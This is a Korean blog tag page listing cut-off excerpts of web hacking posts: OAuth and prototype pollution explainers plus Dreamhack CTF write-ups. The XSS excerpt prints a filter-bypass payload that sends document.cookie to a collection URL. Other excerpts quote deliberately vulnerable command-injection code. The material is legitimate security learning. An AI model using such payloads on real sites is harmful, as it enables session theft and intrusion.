Web Hacking

Web Hacking Advanced

OAuth 2.0

OAuth는 인터넷 사용자들이 ID, PW를 제공하지 않고 다른 웹사이트 상의 자신들의 정보에 대해 웹사이트나 애플리케이션의 접근 권한을 부여할 수 있는 공통적인 수단으로서 사용되는, 접근 위임을 위한 개방형 표준이다. 즉, 현재 서비스의 ID와 PW를 입력하지 않고 인증할 수 있는 프로토콜이다. 예를 들어 Google에 로그인한 후 Google 자격 증명을 이용해서 현재 서비스에 액세스했다면 OAuth를 사용한 것이다. oAuth는 보통 SSO(Single Sign On) 시스템에서 사용한다. SSO는 1번의 로그인으로 여러 서비스를 이용할 수 있는 시스템을 뜻한다. 즉, SSO 시스템을 구축하기 위해서는 oAuth 프로토콜을 이용한 인증시스템이 필요하다. oAuth를 이용하는 시스템은 단순히 간단한 ..

Web Hacking Advanced

Prototype Pollution

JS prototype 개념prototype pollution을 이해하기 위해서는 JS의 object prototype과 constructor에 대한 개념을 알아야한다. 자바스크립트는 다음과 같은 특징이 있다.모든 것은 객체이고, 객체로서 동작하는 완전한 객체지향 언어다.var keyme = new Person('keyme');객체는 생성자의 prototype 객체를 상속한다.keyme라는 객체는 Person.prototype을 상속받는다.객체는 생성자 함수를 사용해서 만든다.생성자 함수 → Person()  prototype은 객체 지향 프로그래밍에서 상속을 구현하는 데 사용되는 중요한 개념이다. 모든 객체는 prototype을 가지고 있으며, 이를 통해 객체 간의 상속 및 속성, 메서드 공유가 가능하..

Web Hacking Advanced

[dreamhack] XSS Filtering Bypass

문제풀이xss-1과 마찬가지로 3가지 페이지가 나온다. def xss_filter(text): _filter = ["script", "on", "javascript"] for f in _filter: if f in text.lower(): text = text.replace(f, "") return textxss-1와 차이점이 있다면, 위와 같이 script, on, javascript 를 필터링하고 ""로 replace 한다는 점이다. locatioonn.href='http://127.0.0.1:8000/memo?memo='+document.cookie필터링을 우회한 xss payload다. script, on, javascript를 필터링할 때, 프로세..

Web Hacking Advanced

[dreamhack] Command Injection Advanced

문제분석 & 풀이url을 입력하고 curl 요청하는 페이지다. 코드를 확인해보자. cache file: {$cache_file}"; echo ''. htmlentities($result) .''; return; }}else{?>코드 분석url은 http로 시작해야한다.curl $url 로 curl 명령을 실행한다.캐시 파일을 /cache 경로에 저장한다.실행 결과를 화면에 출력한다. url을 이용해서 curl 명령을 실행한다. 따라서 ;와 같은 문자를 추가하면 curl 명령 외에도 임의의 명령을 실행시켜서 command injection을 수행하는 방식을 생각했다. 하지만 escapeshellcmd($_GET['url'])로 ;, | 등의 문자열을 사용해도 이스케이프 처리되..

Web Hacking Advanced

[dreamhack] Mango

문제분석 & 풀이uid와 upw를 전송해서 로그인하는 방식이다. 그대로 요청해보면 guest로 로그인된 것을 확인할 수 있다. 로그인이 성공하면 uid가 출력된다. 목적은 upw를 구해야하므로 blind nosql injection을 수행해야한다고 짐작할 수 있다. const db = mongoose.connection;...app.get('/login', function(req, res) { if(filter(req.query)){ res.send('filter'); return; } const {uid, upw} = req.query; db.collection('user').findOne({ 'uid': uid, 'upw': up..

Web Hacking Advanced

[dreamhack] blind-command

문제분석 & 풀이@app.route('/' , methods=['GET'])def index(): cmd = request.args.get('cmd', '') if not cmd: return "?cmd=[cmd]" if request.method == 'GET': '' else: os.system(cmd) return cmdcmd 파라미터로 전송하면 os.system(cmd)가 실행되면서 시스템 명령이 실행되는 루틴이다. cmd 파라미터에 대한 검증이 없어서 command injection을 수행할 수 있는 환경이다. 다만, os.system(cmd) 를 실행한 결과를 응답하지 않는다. 따라서 blind command injection을 ..

keyme
'Web Hacking' 태그의 글 목록